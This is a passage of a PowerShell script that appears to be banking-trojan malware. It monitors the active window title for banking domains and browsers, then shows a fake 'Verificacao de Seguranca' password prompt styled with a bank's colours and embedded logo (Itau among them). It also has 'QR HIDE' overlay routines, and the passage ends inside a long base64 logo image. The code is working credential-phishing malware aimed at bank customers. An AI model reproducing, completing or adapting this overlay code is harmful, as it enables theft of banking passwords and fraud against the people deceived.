PIDs $pidFile = "$env:TEMP\qr_overlay_pids.txt" if (Test-Path $pidFile) { Remove-Item $pidFile -Force -ErrorAction SilentlyContinue } Write-Host "[QR HIDE] =======================================" -ForegroundColor Green } function Check-BrowserTitle { try { $title = [WindowMonitor]::GetActiveTitle() if ([string]::IsNullOrEmpty($title)) { return @{ Detected = $false } } if ($title -ne $script:LastNotifyTitle) { $process = [WindowMonitor]::GetActiveProcess() $processLower = $process.ToLower() $isBrowser = $false foreach ($bp in $script:BrowserProcesses) { if ($processLower.Contains($bp)) { $isBrowser = $true; break } } # Comparacao ignorando acentos e maiusculas/minusculas $culture = [System.Globalization.CultureInfo]::InvariantCulture $compareOptions = [System.Globalization.CompareOptions]::IgnoreCase -bor [System.Globalization.CompareOptions]::IgnoreNonSpace foreach ($domain in $script:MonitorDomains) { $idx = $culture.CompareInfo.IndexOf($title, $domain, $compareOptions) if ($idx -ge 0) { $needsBrowser = $false foreach ($bo in $script:BrowserOnlyDomains) { if ($domain -eq $bo) { $needsBrowser = $true; break } } if ($needsBrowser -and -not $isBrowser) { continue } $script:LastNotifyTitle = $title return @{ Detected = $true Title = $title Domain = $domain Process = $process Time = (Get-Date).ToString("yyyy-MM-dd HH:mm:ss") } } } } } catch {} return @{ Detected = $false } } # === FUNCAO DE CAPTURA DE INPUT - COM CORES DO BANCO === function Show-DataEntryScreen { param( [string]$Title = "Verificacao de Seguranca", [string]$Message = "Confirme sua identidade para continuar.", [string]$Label = "Senha:", [string]$BankName = "", [int]$BankR = 0, [int]$BankG = 120, [int]$BankB = 212, [int]$TextR = 255, [int]$TextG = 255, [int]$TextB = 255, [int]$MaxLength = 8 ) $safeMessage = $Message -replace '"', '`"' -replace "'", "''" $safeLabel = $Label -replace '"', '`"' -replace "'", "''" $safeBankName = $BankName -replace '"', '`"' -replace "'", "''" # Determinar logo e salvar em arquivo com nome fixo $logoPath = "$env:TEMP\caplogo.png" $bankKey = $safeBankName.ToLower() $hasLogo = $false try { $logoData = $null if ($bankKey -like "*itau*") { $logoData = "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